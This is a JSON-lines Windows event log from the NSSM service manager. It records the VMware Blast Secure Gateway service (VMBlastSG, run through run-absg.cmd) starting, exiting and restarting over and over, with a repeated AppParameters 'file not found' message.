{"@timestamp":1646720407623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159769}}
{"@timestamp":1646720407623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159770}}
{"@timestamp":1646720407624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159771}}
{"@timestamp":1646720536122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159772}}
{"@timestamp":1646720536123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159773}}
{"@timestamp":1646720536124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157440","0"]}}},"module":"Application","provider":"nssm","sequence":159774}}
{"@timestamp":1646720536125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157440","157440","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159775}}
{"@timestamp":1646720536141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159776}}
{"@timestamp":1646720536142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159777}}
{"@timestamp":1646720536142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159778}}
{"@timestamp":1646720536143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159779}}
{"@timestamp":1646720664727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159780}}
{"@timestamp":1646720664728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159781}}
{"@timestamp":1646720664729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156960","0"]}}},"module":"Application","provider":"nssm","sequence":159782}}
{"@timestamp":1646720664729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156960","156960","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159783}}
{"@timestamp":1646720664745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159784}}
{"@timestamp":1646720664746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159785}}
{"@timestamp":1646720664747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159786}}
{"@timestamp":1646720664747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159787}}
{"@timestamp":1646720793287,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159788}}
{"@timestamp":1646720793289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159789}}
{"@timestamp":1646720793290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156764","0"]}}},"module":"Application","provider":"nssm","sequence":159790}}
{"@timestamp":1646720793291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156764","156764","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159791}}
{"@timestamp":1646720793307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159792}}
{"@timestamp":1646720793308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159793}}
{"@timestamp":1646720793308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159794}}
{"@timestamp":1646720793309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159795}}
{"@timestamp":1646720921801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159796}}
{"@timestamp":1646720921801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159797}}
{"@timestamp":1646720921803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156588","0"]}}},"module":"Application","provider":"nssm","sequence":159798}}
{"@timestamp":1646720921803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156588","156588","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159799}}
{"@timestamp":1646720921821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159800}}
{"@timestamp":1646720921821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159801}}
{"@timestamp":1646720921822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159802}}
{"@timestamp":1646720921822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159803}}
{"@timestamp":1646721050331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159804}}
{"@timestamp":1646721050332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159805}}
{"@timestamp":1646721050335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155892","0"]}}},"module":"Application","provider":"nssm","sequence":159806}}
{"@timestamp":1646721050335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155892","155892","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159807}}
{"@timestamp":1646721050352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159808}}
{"@timestamp":1646721050352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159809}}
{"@timestamp":1646721050353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159810}}
{"@timestamp":1646721050354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159811}}
{"@timestamp":1646721178935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159812}}
{"@timestamp":1646721178936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159813}}
{"@timestamp":1646721178937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154508","0"]}}},"module":"Application","provider":"nssm","sequence":159814}}
{"@timestamp":1646721178937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154508","154508","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159815}}
{"@timestamp":1646721178954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159816}}
{"@timestamp":1646721178955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159817}}
{"@timestamp":1646721178955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159818}}
{"@timestamp":1646721178956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159819}}
{"@timestamp":1646721307663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159820}}
{"@timestamp":1646721307663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159821}}
{"@timestamp":1646721307665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","146580","0"]}}},"module":"Application","provider":"nssm","sequence":159822}}
{"@timestamp":1646721307666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["146580","146580","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159823}}
{"@timestamp":1646721307682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159824}}
{"@timestamp":1646721307683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159825}}
{"@timestamp":1646721307683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159826}}
{"@timestamp":1646721307684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159827}}
{"@timestamp":1646721436175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159828}}
{"@timestamp":1646721436176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159829}}
{"@timestamp":1646721436176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156832","0"]}}},"module":"Application","provider":"nssm","sequence":159830}}
{"@timestamp":1646721436177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156832","156832","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159831}}
{"@timestamp":1646721436192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159832}}
{"@timestamp":1646721436193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159833}}
{"@timestamp":1646721436193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159834}}
{"@timestamp":1646721436194,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159835}}
{"@timestamp":1646721564698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159836}}
{"@timestamp":1646721564700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159837}}
{"@timestamp":1646721564701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157076","0"]}}},"module":"Application","provider":"nssm","sequence":159838}}
{"@timestamp":1646721564701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157076","157076","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159839}}
{"@timestamp":1646721564717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159840}}
{"@timestamp":1646721564718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159841}}
{"@timestamp":1646721564718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159842}}
{"@timestamp":1646721564719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159843}}
{"@timestamp":1646721693271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159844}}
{"@timestamp":1646721693272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159845}}
{"@timestamp":1646721693273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156776","0"]}}},"module":"Application","provider":"nssm","sequence":159846}}
{"@timestamp":1646721693273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156776","156776","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159847}}
{"@timestamp":1646721693289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159848}}
{"@timestamp":1646721693290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159849}}
{"@timestamp":1646721693290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159850}}
{"@timestamp":1646721693291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159851}}
{"@timestamp":1646721821783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159852}}
{"@timestamp":1646721821784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159853}}
{"@timestamp":1646721821785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156464","0"]}}},"module":"Application","provider":"nssm","sequence":159854}}
{"@timestamp":1646721821785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156464","156464","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159855}}
{"@timestamp":1646721821801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159856}}
{"@timestamp":1646721821802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159857}}
{"@timestamp":1646721821802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159858}}
{"@timestamp":1646721821804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159859}}
{"@timestamp":1646721950323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159860}}
{"@timestamp":1646721950324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159861}}
{"@timestamp":1646721950325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155400","0"]}}},"module":"Application","provider":"nssm","sequence":159862}}
{"@timestamp":1646721950325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155400","155400","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159863}}
{"@timestamp":1646721950341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154636","0"]}}},"module":"Application","provider":"nssm","sequence":159864}}
{"@timestamp":1646721950341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154636","155400","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159865}}
{"@timestamp":1646721950357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159866}}
{"@timestamp":1646721950357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159867}}
{"@timestamp":1646721950358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159868}}
{"@timestamp":1646721950358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159869}}
{"@timestamp":1646722078852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159870}}
{"@timestamp":1646722078855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159871}}
{"@timestamp":1646722078855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154956","0"]}}},"module":"Application","provider":"nssm","sequence":159872}}
{"@timestamp":1646722078856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154956","154956","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159873}}
